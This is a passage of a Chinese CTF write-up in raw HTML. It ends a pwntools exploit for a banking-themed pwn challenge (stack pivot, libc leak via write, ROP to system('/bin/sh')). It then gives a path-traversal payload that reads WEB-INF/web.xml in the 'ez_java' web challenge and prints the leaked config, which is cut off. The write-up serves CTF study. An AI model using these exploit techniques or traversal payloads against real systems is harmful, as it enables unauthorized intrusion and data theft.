#98c379;line-height: 26px;"><span leaf="">&#34;How much money would you like to save?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rdi=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000000004014f5</span></span><span leaf=""><br/></span><span leaf="">rsi=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000000004014f3</span></span><span leaf=""><br/></span><span leaf="">ret=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000000004014F6</span></span><span leaf=""><br/></span><span leaf="">leave_ret=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4014C8</span></span><span leaf=""><br/></span><span leaf="">ret=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40119E</span></span><span leaf=""><br/></span><span leaf="">rbp=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x000000000040119d</span></span><span leaf=""><br/></span><span leaf="">bss=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x404200</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x600</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x400</span></span><span leaf=""><br/></span><span leaf="">read=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x401389</span></span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Please tell me your name\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;b&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;What can I do for you?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;How much money would you like to withdraw?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Are you sure?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pay=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">)+p64(bss+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40145F</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-t39llo" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><span leaf=""><br/></span><span leaf="">s(pay)</span><span leaf=""><br/></span><span leaf="">exit()</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">pay=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;c&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf=""><br/></span><span leaf="">sl(pay)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;What can I do for you?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;How much money would you like to withdraw?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Are you sure?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pay2 =(p64(rdi)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)+p64(rsi)+p64(elf.got[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;read&#39;</span></span><span leaf="">])*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">+p64(elf.plt[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;write&#39;</span></span><span leaf="">])+p64(rbp)+p64(bss+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x300</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x400</span></span><span leaf="">+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4010D0</span></span><span leaf="">)).ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pay2+=p64(bss</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-8</span></span><span leaf="">)+p64(leave_ret)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-a4wdek" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><span leaf=""><br/></span><span leaf="">s(pay2)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39; your coming\n&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">libc_base=u64(p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">).ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))-libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;read&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">li(hex(libc_base))</span><span leaf=""><br/></span><span leaf="">syste,bin_sh=get_sb()</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Please tell me your name\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;b&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;What can I do for you?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;How much money would you like to withdraw?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Are you sure?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pay=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">)+p64(bss+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x50</span></span><span leaf="">)+p64(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40145F</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-10g7ky" style="color: #576B95 !important;" data-topic="1">#bug</a>()</span></span><span leaf=""><br/></span><span leaf="">s(pay)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">pay=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;c&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf=""><br/></span><span leaf="">sl(pay)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;What can I do for you?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;How much money would you like to withdraw?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Are you sure?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-u1ndsq" style="color: #576B95 !important;" data-topic="1">#gdb</a>.attach(p,&#39;b *0x40147c&#39;)</span></span><span leaf=""><br/></span><span leaf="">pay2 =p64(rdi)+p64(bin_sh)+p64(syste)</span><span leaf=""><br/></span><span leaf="">s(pay2)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-afekgi" style="color: #576B95 !important;" data-topic="1">#pause</a>()</span></span><span leaf=""><br/></span><span leaf="">inter()</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5561224489795918" data-type="png" data-w="588" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030124" src="https://wechat2rss.xlab.app/img-proxy/?k=2dacc283&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFonQwf2uiaGCn5Jysx7fJ4wkGUHrtNkd4fTAn08HFlPZ9ibNtdjaVtcqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Web:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-ez_java</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://www.ctfiot.com/286785.html" target="_blank">https://www.ctfiot.com/286785.html</a> 直接使用cve不行，得使用uploads前缀绕过：/download?path=uploads/..%2fWEB-INF%2fweb.xml</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-gqtiqo" style="color: #576B95 !important;" data-topic="1">#web</a>.xml</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">web-app</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">xmlns</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://xmlns.jcp.org/xml/ns/javaee" target="_blank">http://xmlns.jcp.org/xml/ns/javaee</a>&#34;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">xmlns:xsi</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">xsi:schemaLocation</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://xmlns.jcp.org/xml/ns/javaee" target="_blank">http://xmlns.jcp.org/xml/ns/javaee</a> <a href="http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" target="_blank">http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd</a>&#34;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4.0&#34;</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">display-name</span></span><span leaf="">&gt;</span></span><span leaf="">JWT Login WebApp</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">display-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">LoginServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf="">com.ctf.LoginServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">RegisterServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf="">com.ctf.RegisterServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">DashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf="">com.ctf.DashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">multipart-config</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-file-size</span></span><span leaf="">&gt;</span></span><span leaf="">10485760</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-file-size</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-request-size</span></span><span leaf="">&gt;</span></span><span leaf="">20971520</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-request-size</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">file-size-threshold</span></span><span leaf="">&gt;</span></span><span leaf="">0</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">file-size-threshold</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">multipart-config</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">AdminDashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf="">com.ctf.AdminDashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">multipart-config</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-file-size</span></span><span leaf="">&gt;</span></span><span leaf="">10485760</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-file-size</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-request-size</span></span><span leaf="">&gt;</span></span><span leaf="">20971520</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">max-request-size</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">file-size-threshold</span></span><span leaf="">&gt;</span></span><span leaf="">0</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">file-size-threshold</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">multipart-config</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">BackUpServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf="">com.ctf.BackUpServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-class</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">LoginServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf="">/login</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">RegisterServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf="">/register</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">DashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span 